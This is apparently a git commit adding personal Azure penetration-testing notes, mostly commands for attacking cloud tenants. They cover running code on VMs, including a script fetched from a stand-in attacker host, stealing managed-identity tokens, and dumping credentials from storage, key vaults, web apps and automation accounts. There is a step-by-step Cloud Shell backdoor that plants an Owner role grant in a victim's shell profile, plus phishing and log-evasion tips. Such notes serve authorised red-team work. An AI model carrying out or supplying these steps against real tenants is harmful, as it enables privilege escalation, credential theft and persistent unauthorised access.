first commit
This commit is contained in:
@@ -0,0 +1,43 @@
|
||||
- Create a local user on a VM
|
||||
- Using Azure CLI
|
||||
- `az vm user update -u username -p password -n <VM_Name> -g <Resource_Group>`
|
||||
- Using PowerShell
|
||||
- `Get-AzVM`
|
||||
- `Set-AzVMAccessExtension -ResourceGroupName "<Resource_Group>" -Location "<Location>" -VMName "<VM_Name>" -Name "<Extension_Name>" -TypeHandlerVersion "2.4" -UserName "<Username>" -Password "<Password>"`
|
||||
- OR
|
||||
- `Set-AzVMAccessExtension -ResourceGroupName "PENTEST-RG" -VMName "winvm01" -Credential (get-credential) -typeHandlerVersion "2.0" -Name VMAccessAgent`
|
||||
- Authenticate to VMs with local credentials
|
||||
- With RDP
|
||||
- `Get-AzPublicIpAddress -Name winvm01* | Select IpAddress`
|
||||
- If the VM does not have a public IP or RDP is not listening, Contributor permissions can be used to expose the service (MAJOR RISK)
|
||||
- With Run Command (using VM agent)
|
||||
- List out running Windows VMs and cast to the VMs variable
|
||||
- `$VMs = Get-AzVM -Status | where {($_.PowerState -EQ "VM running") -and ($_.StorageProfile.OSDisk.OSType -eq "Windows")}`
|
||||
- Pass VMs to Invoke-AzVMRunCommand
|
||||
- `$VMs | Invoke-AzVMRunCommand -CommandId 'RunPowerShellScript' -ScriptPath .\whoami.ps1`
|
||||
- Can use indices of VMs variable to pass commands to only select VMs rather than all of them (eg. $VMs\[0\])
|
||||
- From Azure REST APIs (useful especially for using a token to a managed identity)
|
||||
- Obtain an access token (from a VM with a managed identity)
|
||||
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/token?apiversion=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' | jq`
|
||||
- Execute commands (PowerShell)
|
||||
- `$mgmtToken = "TOKEN GOES HERE"`
|
||||
- `Invoke-AzVMCommandREST -commandToExecute "whoami > test.txt" -managementToken $mgmtToken 204cce89-27de-4669-a48b-04c27255e05e`
|
||||
- Execute script with VM extensions
|
||||
- Host the script at some URI, then execute this:
|
||||
- `Set-AzVMCustomScriptExtension -ResourceGroupName TEST -VMName PentestVM -Location westcentralus -FileUri 'http://attacker.webserver.com/whoami.ps1' -Run 'whoami.ps1' -Name CustomScriptExtension`
|
||||
- [Attacking Azure with Custom Script Extensions (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-with-custom-script-extensions/)
|
||||
- Credential Harvesting
|
||||
- VM extension settings
|
||||
- Domain join extension
|
||||
- Microburst - `Get-AzureVMExtentionSettings`
|
||||
- PowerShell ISE can store old scripts/credentials
|
||||
- [Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/decrypting-azure-vm-extension-settings-with-get-azurevmextensionsettings/)
|
||||
- Disk Export and Snapshot Export
|
||||
- Can export a disk and generate a temp URL to download it (only for disks not attached to running VMs)
|
||||
- For disks attached to VMs, create a snapshot and then export that.
|
||||
- If encrypted, you'll need a key from the key vault
|
||||
- PowerZure
|
||||
- Get list of all unattached VM disks
|
||||
- ` Get-AzDisk | Where-Object {$_.DiskState -ne "Attached"} | Select Name, DiskState, Encryption`
|
||||
- Generate a public URL to export the disk
|
||||
- `Get-AzureVMDisk -DiskName <DISK_NAME_FROM_STEP_4>`
|
||||
@@ -0,0 +1,97 @@
|
||||
- Storage accounts
|
||||
- Contributor role has these management plane permissions and can use them to exploit the data plane:
|
||||
- Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
|
||||
- Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
|
||||
- Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
|
||||
- MicroBurst
|
||||
- Dump credentials from Azure Storage instances (can also do other accounts)
|
||||
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
|
||||
- Can use the keys to access these services to extract data or other credentials
|
||||
- Open Azure Storage Explorer
|
||||
- Authenticate with name from previous command and account key
|
||||
- Lava
|
||||
- `stg_blob_download` - Automatically download all blob containers in subscription
|
||||
- Azure Cloud Shell
|
||||
- https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
|
||||
- Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
|
||||
- Auth to CLI as Contributor
|
||||
- `az login -u contributoruser@<domain_name> -p <contributor_user_password>`
|
||||
- Start Lava
|
||||
- `python3 lava.py`
|
||||
- Verify permissions
|
||||
- `exec priv_show`
|
||||
- Scan for Cloud Shell images
|
||||
- `exec stg_file_scan`
|
||||
- Download files in file shares (can take a while if there are a lot)
|
||||
- `exec stg_file_download` - Note the download location for later
|
||||
- Exit Lava
|
||||
- `exit`
|
||||
- Mount IMG file
|
||||
- `mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt`
|
||||
- Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
- `echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrc`
|
||||
- `echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1`
|
||||
- Unmount
|
||||
- `umount /mnt`
|
||||
- Get name of storage account
|
||||
- `az storage account list --query [].name -o tsv` - look for one that starts with "cs"
|
||||
- `storagename=<storage_acct_name>`
|
||||
- Get access key and file share and upload image
|
||||
- `key=$(az storage account keys list -n $storagename --query [0].value -o tsv)`
|
||||
- `csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)`
|
||||
- `az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"`
|
||||
- Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
|
||||
- Clean up Owner permissions
|
||||
- `$upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')`
|
||||
- `$contributoruser = "contributoruser@$upnsuffix"`
|
||||
- `$contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)`
|
||||
- `az role assignment delete --assignee $contributoruserid --role "Owner"`
|
||||
- Remember to remove backdoored command in Azure Cloud Shell
|
||||
|
||||
- Key Vault
|
||||
- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
|
||||
- `Microsoft.KeyVault/vaults/accessPolicies/write`
|
||||
- OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
|
||||
- Automation accounts: Create a new runbook that uses the Run as account to access the key vault.
|
||||
- App registrations: Authenticate as the app registration and access the key vault.
|
||||
- Managed Identities: Generate REST API tokens for the identity to access the key vault with.
|
||||
- Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
|
||||
- MicroBurst
|
||||
- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
|
||||
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView`
|
||||
|
||||
- Web apps
|
||||
- Collect publish profile, containing credentials
|
||||
- `Get-AzWebAppPublishingProfile`
|
||||
- MicroBurst
|
||||
- `Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
|
||||
- Find FTP endpoint to review/modify app files:
|
||||
- `az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"`
|
||||
- Can use Console in Azure Portal or the SCM interface
|
||||
- $APP_NAME.scm.azurewebsites.net
|
||||
- Can auth to this with the publish profile creds
|
||||
- Keep in mind these usually have managed identities too
|
||||
- [Lateral Movement in Azure App Services (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/)
|
||||
|
||||
- Automation Accounts
|
||||
- Review runbook code to find credentials
|
||||
- Extract stored account credentials and Run as account certificates
|
||||
- Write credential variables to job output
|
||||
- `$myCredential = Get-AutomationPSCredential -Name 'Cred-1'`
|
||||
- `$userName = $myCredential.UserName`
|
||||
- `$password = $myCredential.GetNetworkCredential().Password`
|
||||
- `$username`
|
||||
- `$password`
|
||||
- Export Run as certificates
|
||||
- `$RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'`
|
||||
- `$CertificatePath = Join-Path $env:temp RunAsCertificate.pfx`
|
||||
- `$Cert = $RunAsCert.Export('pfx','CertificatePassword')`
|
||||
- `Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose`
|
||||
- `$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))`
|
||||
- `$base64string`
|
||||
- MicroBurst
|
||||
- `Get-AzPasswords -AppServices N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
|
||||
- Note that this will create files with a Run as certificate (pfx) and a script to log in as that Run as account
|
||||
- Can also use the REST API
|
||||
- `Get-AzAutomationAccountCredsREST`
|
||||
- https://github.com/NetSPI/MicroBurst/blob/master/REST/Get-AzAutomationAccountCredsREST.ps1
|
||||
Reference in New Issue
Block a user